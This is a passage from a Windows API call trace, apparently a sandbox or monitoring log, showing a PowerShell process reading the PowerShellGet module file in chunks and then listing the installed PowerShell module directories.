lpNumberOfBytesRead=0x59ed98c*=0x1000, lpOverlapped=0x0) returned 1 [0115.269] SetFilePointer (in: hFile=0x3f8, lDistanceToMove=0, lpDistanceToMoveHigh=0x59ed960*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x59ed960*=0) returned 0x76000 [0115.269] ReadFile (in: hFile=0x3f8, lpBuffer=0x21f50b4, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x59ed98c, lpOverlapped=0x0 | out: lpBuffer=0x21f50b4*, lpNumberOfBytesRead=0x59ed98c*=0x1000, lpOverlapped=0x0) returned 1 [0115.269] SetFilePointer (in: hFile=0x3f8, lDistanceToMove=0, lpDistanceToMoveHigh=0x59ed960*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x59ed960*=0) returned 0x77000 [0115.269] ReadFile (in: hFile=0x3f8, lpBuffer=0x21f50b4, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x59ed98c, lpOverlapped=0x0 | out: lpBuffer=0x21f50b4*, lpNumberOfBytesRead=0x59ed98c*=0x1000, lpOverlapped=0x0) returned 1 [0115.270] SetFilePointer (in: hFile=0x3f8, lDistanceToMove=0, lpDistanceToMoveHigh=0x59ed960*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x59ed960*=0) returned 0x78000 [0115.270] ReadFile (in: hFile=0x3f8, lpBuffer=0x21f50b4, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x59ed98c, lpOverlapped=0x0 | out: lpBuffer=0x21f50b4*, lpNumberOfBytesRead=0x59ed98c*=0x1000, lpOverlapped=0x0) returned 1 [0115.270] SetFilePointer (in: hFile=0x3f8, lDistanceToMove=0, lpDistanceToMoveHigh=0x59ed960*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x59ed960*=0) returned 0x79000 [0115.270] ReadFile (in: hFile=0x3f8, lpBuffer=0x21f50b4, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x59ed98c, lpOverlapped=0x0 | out: lpBuffer=0x21f50b4*, lpNumberOfBytesRead=0x59ed98c*=0x1000, lpOverlapped=0x0) returned 1 [0115.270] SetFilePointer (in: hFile=0x3f8, lDistanceToMove=0, lpDistanceToMoveHigh=0x59ed960*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x59ed960*=0) returned 0x7a000 [0115.270] ReadFile (in: hFile=0x3f8, lpBuffer=0x21f50b4, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x59ed98c, lpOverlapped=0x0 | out: lpBuffer=0x21f50b4*, lpNumberOfBytesRead=0x59ed98c*=0x1000, lpOverlapped=0x0) returned 1 [0115.270] SetFilePointer (in: hFile=0x3f8, lDistanceToMove=0, lpDistanceToMoveHigh=0x59ed960*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x59ed960*=0) returned 0x7b000 [0115.270] ReadFile (in: hFile=0x3f8, lpBuffer=0x21f50b4, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x59ed98c, lpOverlapped=0x0 | out: lpBuffer=0x21f50b4*, lpNumberOfBytesRead=0x59ed98c*=0x1000, lpOverlapped=0x0) returned 1 [0115.271] SetFilePointer (in: hFile=0x3f8, lDistanceToMove=0, lpDistanceToMoveHigh=0x59ed960*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x59ed960*=0) returned 0x7c000 [0115.271] ReadFile (in: hFile=0x3f8, lpBuffer=0x21f50b4, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x59ed98c, lpOverlapped=0x0 | out: lpBuffer=0x21f50b4*, lpNumberOfBytesRead=0x59ed98c*=0x1000, lpOverlapped=0x0) returned 1 [0115.271] SetFilePointer (in: hFile=0x3f8, lDistanceToMove=0, lpDistanceToMoveHigh=0x59ed960*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x59ed960*=0) returned 0x7d000 [0115.271] ReadFile (in: hFile=0x3f8, lpBuffer=0x21f50b4, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x59ed98c, lpOverlapped=0x0 | out: lpBuffer=0x21f50b4*, lpNumberOfBytesRead=0x59ed98c*=0x1000, lpOverlapped=0x0) returned 1 [0115.271] SetFilePointer (in: hFile=0x3f8, lDistanceToMove=0, lpDistanceToMoveHigh=0x59ed960*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x59ed960*=0) returned 0x7e000 [0115.271] ReadFile (in: hFile=0x3f8, lpBuffer=0x21f50b4, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x59ed98c, lpOverlapped=0x0 | out: lpBuffer=0x21f50b4*, lpNumberOfBytesRead=0x59ed98c*=0x1000, lpOverlapped=0x0) returned 1 [0115.272] SetFilePointer (in: hFile=0x3f8, lDistanceToMove=0, lpDistanceToMoveHigh=0x59ed960*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x59ed960*=0) returned 0x7f000 [0115.272] ReadFile (in: hFile=0x3f8, lpBuffer=0x21f50b4, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x59ed98c, lpOverlapped=0x0 | out: lpBuffer=0x21f50b4*, lpNumberOfBytesRead=0x59ed98c*=0x1000, lpOverlapped=0x0) returned 1 [0115.272] SetFilePointer (in: hFile=0x3f8, lDistanceToMove=0, lpDistanceToMoveHigh=0x59ed960*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x59ed960*=0) returned 0x80000 [0115.272] ReadFile (in: hFile=0x3f8, lpBuffer=0x21f50b4, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x59ed98c, lpOverlapped=0x0 | out: lpBuffer=0x21f50b4*, lpNumberOfBytesRead=0x59ed98c*=0x1000, lpOverlapped=0x0) returned 1 [0115.272] SetFilePointer (in: hFile=0x3f8, lDistanceToMove=0, lpDistanceToMoveHigh=0x59ed960*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x59ed960*=0) returned 0x81000 [0115.272] ReadFile (in: hFile=0x3f8, lpBuffer=0x21f50b4, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x59ed98c, lpOverlapped=0x0 | out: lpBuffer=0x21f50b4*, lpNumberOfBytesRead=0x59ed98c*=0x1000, lpOverlapped=0x0) returned 1 [0115.272] SetFilePointer (in: hFile=0x3f8, lDistanceToMove=0, lpDistanceToMoveHigh=0x59ed960*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x59ed960*=0) returned 0x82000 [0115.272] ReadFile (in: hFile=0x3f8, lpBuffer=0x21f50b4, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x59ed98c, lpOverlapped=0x0 | out: lpBuffer=0x21f50b4*, lpNumberOfBytesRead=0x59ed98c*=0x1000, lpOverlapped=0x0) returned 1 [0115.273] SetFilePointer (in: hFile=0x3f8, lDistanceToMove=0, lpDistanceToMoveHigh=0x59ed960*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x59ed960*=0) returned 0x83000 [0115.273] ReadFile (in: hFile=0x3f8, lpBuffer=0x21f50b4, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x59ed98c, lpOverlapped=0x0 | out: lpBuffer=0x21f50b4*, lpNumberOfBytesRead=0x59ed98c*=0x1000, lpOverlapped=0x0) returned 1 [0115.273] SetFilePointer (in: hFile=0x3f8, lDistanceToMove=0, lpDistanceToMoveHigh=0x59ed960*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x59ed960*=0) returned 0x84000 [0115.273] ReadFile (in: hFile=0x3f8, lpBuffer=0x21f50b4, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x59ed98c, lpOverlapped=0x0 | out: lpBuffer=0x21f50b4*, lpNumberOfBytesRead=0x59ed98c*=0x1000, lpOverlapped=0x0) returned 1 [0115.273] SetFilePointer (in: hFile=0x3f8, lDistanceToMove=0, lpDistanceToMoveHigh=0x59ed960*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x59ed960*=0) returned 0x85000 [0115.273] ReadFile (in: hFile=0x3f8, lpBuffer=0x21f50b4, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x59ed98c, lpOverlapped=0x0 | out: lpBuffer=0x21f50b4*, lpNumberOfBytesRead=0x59ed98c*=0x1000, lpOverlapped=0x0) returned 1 [0115.273] SetFilePointer (in: hFile=0x3f8, lDistanceToMove=0, lpDistanceToMoveHigh=0x59ed960*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x59ed960*=0) returned 0x86000 [0115.274] ReadFile (in: hFile=0x3f8, lpBuffer=0x21f50b4, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x59ed98c, lpOverlapped=0x0 | out: lpBuffer=0x21f50b4*, lpNumberOfBytesRead=0x59ed98c*=0x1000, lpOverlapped=0x0) returned 1 [0115.274] SetFilePointer (in: hFile=0x3f8, lDistanceToMove=0, lpDistanceToMoveHigh=0x59ed960*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x59ed960*=0) returned 0x87000 [0115.274] ReadFile (in: hFile=0x3f8, lpBuffer=0x21f50b4, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x59ed98c, lpOverlapped=0x0 | out: lpBuffer=0x21f50b4*, lpNumberOfBytesRead=0x59ed98c*=0x1000, lpOverlapped=0x0) returned 1 [0115.274] SetFilePointer (in: hFile=0x3f8, lDistanceToMove=0, lpDistanceToMoveHigh=0x59ed960*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x59ed960*=0) returned 0x88000 [0115.274] ReadFile (in: hFile=0x3f8, lpBuffer=0x21f50b4, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x59ed98c, lpOverlapped=0x0 | out: lpBuffer=0x21f50b4*, lpNumberOfBytesRead=0x59ed98c*=0x1000, lpOverlapped=0x0) returned 1 [0115.275] SetFilePointer (in: hFile=0x3f8, lDistanceToMove=0, lpDistanceToMoveHigh=0x59ed960*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x59ed960*=0) returned 0x89000 [0115.275] ReadFile (in: hFile=0x3f8, lpBuffer=0x21f50b4, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x59ed98c, lpOverlapped=0x0 | out: lpBuffer=0x21f50b4*, lpNumberOfBytesRead=0x59ed98c*=0x1000, lpOverlapped=0x0) returned 1 [0115.275] SetFilePointer (in: hFile=0x3f8, lDistanceToMove=0, lpDistanceToMoveHigh=0x59ed960*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x59ed960*=0) returned 0x8a000 [0115.275] ReadFile (in: hFile=0x3f8, lpBuffer=0x21f50b4, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x59ed98c, lpOverlapped=0x0 | out: lpBuffer=0x21f50b4*, lpNumberOfBytesRead=0x59ed98c*=0x1000, lpOverlapped=0x0) returned 1 [0115.275] SetFilePointer (in: hFile=0x3f8, lDistanceToMove=0, lpDistanceToMoveHigh=0x59ed960*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x59ed960*=0) returned 0x8b000 [0115.275] ReadFile (in: hFile=0x3f8, lpBuffer=0x21f50b4, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x59ed98c, lpOverlapped=0x0 | out: lpBuffer=0x21f50b4*, lpNumberOfBytesRead=0x59ed98c*=0x1000, lpOverlapped=0x0) returned 1 [0115.275] SetFilePointer (in: hFile=0x3f8, lDistanceToMove=0, lpDistanceToMoveHigh=0x59ed960*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x59ed960*=0) returned 0x8c000 [0115.275] ReadFile (in: hFile=0x3f8, lpBuffer=0x21f50b4, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x59ed98c, lpOverlapped=0x0 | out: lpBuffer=0x21f50b4*, lpNumberOfBytesRead=0x59ed98c*=0xaa9, lpOverlapped=0x0) returned 1 [0115.276] SetFilePointer (in: hFile=0x3f8, lDistanceToMove=0, lpDistanceToMoveHigh=0x59ed960*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x59ed960*=0) returned 0x8caa9 [0115.276] ReadFile (in: hFile=0x3f8, lpBuffer=0x21f4efd, nNumberOfBytesToRead=0x157, lpNumberOfBytesRead=0x59ed98c, lpOverlapped=0x0 | out: lpBuffer=0x21f4efd*, lpNumberOfBytesRead=0x59ed98c*=0x0, lpOverlapped=0x0) returned 1 [0115.276] SetFilePointer (in: hFile=0x3f8, lDistanceToMove=0, lpDistanceToMoveHigh=0x59ed960*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x59ed960*=0) returned 0x8caa9 [0115.276] ReadFile (in: hFile=0x3f8, lpBuffer=0x21f50b4, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x59ed98c, lpOverlapped=0x0 | out: lpBuffer=0x21f50b4*, lpNumberOfBytesRead=0x59ed98c*=0x0, lpOverlapped=0x0) returned 1 [0115.351] CloseHandle (hObject=0x3f8) returned 1 [0116.446] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PowerShellGet\\1.0.0.1\\PSModule.psm1", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x55 [0116.446] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PowerShellGet\\1.0.0.1\\PSModule.psm1", nBufferLength=0x55, lpBuffer=0x4f1d7b0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PowerShellGet\\1.0.0.1\\PSModule.psm1", lpFilePart=0x0) returned 0x54 [0116.446] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x59ed6e4) returned 1 [0116.446] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PowerShellGet\\1.0.0.1\\PSModule.psm1" (normalized: "c:\\program files (x86)\\windowspowershell\\modules\\powershellget\\1.0.0.1\\psmodule.psm1"), fInfoLevelId=0x0, lpFileInformation=0x2894848 | out: lpFileInformation=0x2894848*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x499c9860, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x3ea538e0, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x3ea538e0, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x8caa9)) returned 1 [0116.446] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x59ed6e0) returned 1 [0116.476] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PowerShellGet\\1.0.0.1\\PowerShellGet.psd1", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x5a [0116.476] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PowerShellGet\\1.0.0.1\\PowerShellGet.psd1", nBufferLength=0x5a, lpBuffer=0x4f1d7b0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PowerShellGet\\1.0.0.1\\PowerShellGet.psd1", lpFilePart=0x0) returned 0x59 [0116.476] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x59ee4dc) returned 1 [0116.477] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PowerShellGet\\1.0.0.1\\PowerShellGet.psd1" (normalized: "c:\\program files (x86)\\windowspowershell\\modules\\powershellget\\1.0.0.1\\powershellget.psd1"), fInfoLevelId=0x0, lpFileInformation=0x28b8d80 | out: lpFileInformation=0x28b8d80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x499a3700, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x3ea538e0, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x3ea538e0, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x10de)) returned 1 [0116.477] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x59ee4d8) returned 1 [0116.529] EtwEventActivityIdControl () returned 0x0 [0116.531] SetEvent (hEvent=0x3f4) returned 1 [0116.531] CoWaitForMultipleHandles (in: dwFlags=0x2, dwTimeout=0xffffffff, cHandles=0x1, pHandles=0x59eecbc*=0x3f4, lpdwindex=0x59eeae0 | out: lpdwindex=0x59eeae0) returned 0x0 [0116.532] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PowerShellGet\\1.0.0.1\\PowerShellGet.psd1", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x5a [0116.532] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PowerShellGet\\1.0.0.1\\PowerShellGet.psd1", nBufferLength=0x5a, lpBuffer=0x4f1d7b0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PowerShellGet\\1.0.0.1\\PowerShellGet.psd1", lpFilePart=0x0) returned 0x59 [0116.532] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x59eeb9c) returned 1 [0116.533] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PowerShellGet\\1.0.0.1\\PowerShellGet.psd1" (normalized: "c:\\program files (x86)\\windowspowershell\\modules\\powershellget\\1.0.0.1\\powershellget.psd1"), fInfoLevelId=0x0, lpFileInformation=0x28bbd90 | out: lpFileInformation=0x28bbd90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x499a3700, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x3ea538e0, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x3ea538e0, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x10de)) returned 1 [0116.533] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x59eeb98) returned 1 [0116.533] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PowerShellGet\\PowerShellGet.psd1" (normalized: "c:\\program files (x86)\\windowspowershell\\modules\\powershellget\\powershellget.psd1")) returned 0xffffffff [0116.533] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PowerShellGet\\PowerShellGet.psm1" (normalized: "c:\\program files (x86)\\windowspowershell\\modules\\powershellget\\powershellget.psm1")) returned 0xffffffff [0116.533] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PowerShellGet\\PowerShellGet.cdxml" (normalized: "c:\\program files (x86)\\windowspowershell\\modules\\powershellget\\powershellget.cdxml")) returned 0xffffffff [0116.533] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PowerShellGet\\PowerShellGet.xaml" (normalized: "c:\\program files (x86)\\windowspowershell\\modules\\powershellget\\powershellget.xaml")) returned 0xffffffff [0116.533] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PowerShellGet\\PowerShellGet.ni.dll" (normalized: "c:\\program files (x86)\\windowspowershell\\modules\\powershellget\\powershellget.ni.dll")) returned 0xffffffff [0116.533] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PowerShellGet\\PowerShellGet.dll" (normalized: "c:\\program files (x86)\\windowspowershell\\modules\\powershellget\\powershellget.dll")) returned 0xffffffff [0116.536] GetFileAttributesW (lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\modules")) returned 0x10 [0116.537] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x59eeeac) returned 1 [0116.537] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x33 [0116.537] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules", nBufferLength=0x33, lpBuffer=0x4f1d7b0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules", lpFilePart=0x0) returned 0x32 [0116.537] FindFirstFileW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\*", lpFindFileData=0x59eec5c | out: lpFindFileData=0x59eec5c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x800df312, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x498007e0, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x498007e0, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4fe5b8 [0116.538] FindNextFileW (in: hFindFile=0x4fe5b8, lpFindFileData=0x59eec64 | out: lpFindFileData=0x59eec64*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x800df312, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x498007e0, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x498007e0, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0116.538] FindNextFileW (in: hFindFile=0x4fe5b8, lpFindFileData=0x59eec64 | out: lpFindFileData=0x59eec64*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0x800df312, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x1e4bcac7, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1e4bcac7, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="BitsTransfer", cAlternateFileName="BITSTR~1")) returned 1 [0116.538] FindNextFileW (in: hFindFile=0x4fe5b8, lpFindFileData=0x59eec64 | out: lpFindFileData=0x59eec64*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x496f5e40, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x496f5e40, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x496f5e40, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="CimCmdlets", cAlternateFileName="CIMCMD~1")) returned 1 [0116.538] FindNextFileW (in: hFindFile=0x4fe5b8, lpFindFileData=0x59eec64 | out: lpFindFileData=0x59eec64*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x496f5e40, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x496f5e40, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x496f5e40, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ISE", cAlternateFileName="")) returned 1 [0116.538] FindNextFileW (in: hFindFile=0x4fe5b8, lpFindFileData=0x59eec64 | out: lpFindFileData=0x59eec64*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x496cfce0, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x496cfce0, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x496cfce0, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.PowerShell.Archive", cAlternateFileName="MICROS~1.ARC")) returned 1 [0116.539] FindNextFileW (in: hFindFile=0x4fe5b8, lpFindFileData=0x59eec64 | out: lpFindFileData=0x59eec64*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x496f5e40, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x496f5e40, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x496f5e40, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.PowerShell.Diagnostics", cAlternateFileName="MICROS~1.DIA")) returned 1 [0116.539] FindNextFileW (in: hFindFile=0x4fe5b8, lpFindFileData=0x59eec64 | out: lpFindFileData=0x59eec64*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x496f5e40, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x496f5e40, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x496f5e40, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.PowerShell.Host", cAlternateFileName="MICROS~1.HOS")) returned 1 [0116.539] FindNextFileW (in: hFindFile=0x4fe5b8, lpFindFileData=0x59eec64 | out: lpFindFileData=0x59eec64*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x496f5e40, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x496f5e40, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x496f5e40, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.PowerShell.Management", cAlternateFileName="MICROS~1.MAN")) returned 1 [0116.539] FindNextFileW (in: hFindFile=0x4fe5b8, lpFindFileData=0x59eec64 | out: lpFindFileData=0x59eec64*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x496cfce0, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x496cfce0, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x496cfce0, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.PowerShell.ODataUtils", cAlternateFileName="MICROS~1.ODA")) returned 1 [0116.539] FindNextFileW (in: hFindFile=0x4fe5b8, lpFindFileData=0x59eec64 | out: lpFindFileData=0x59eec64*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x498007e0, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x498007e0, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x498007e0, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.PowerShell.Security", cAlternateFileName="MICROS~1.SEC")) returned 1 [0116.539] FindNextFileW (in: hFindFile=0x4fe5b8, lpFindFileData=0x59eec64 | out: lpFindFileData=0x59eec64*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x496f5e40, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x496f5e40, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x496f5e40, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.PowerShell.Utility", cAlternateFileName="MICROS~1.UTI")) returned 1 [0116.539] FindNextFileW (in: hFindFile=0x4fe5b8, lpFindFileData=0x59eec64 | out: lpFindFileData=0x59eec64*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x498007e0, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x498007e0, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x498007e0, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.WSMan.Management", cAlternateFileName="MICROS~2.MAN")) returned 1 [0116.539] FindNextFileW (in: hFindFile=0x4fe5b8, lpFindFileData=0x59eec64 | out: lpFindFileData=0x59eec64*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x496f5e40, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x497da680, ftLastAccessTime.dwHighDateTime=0x1d73a90, 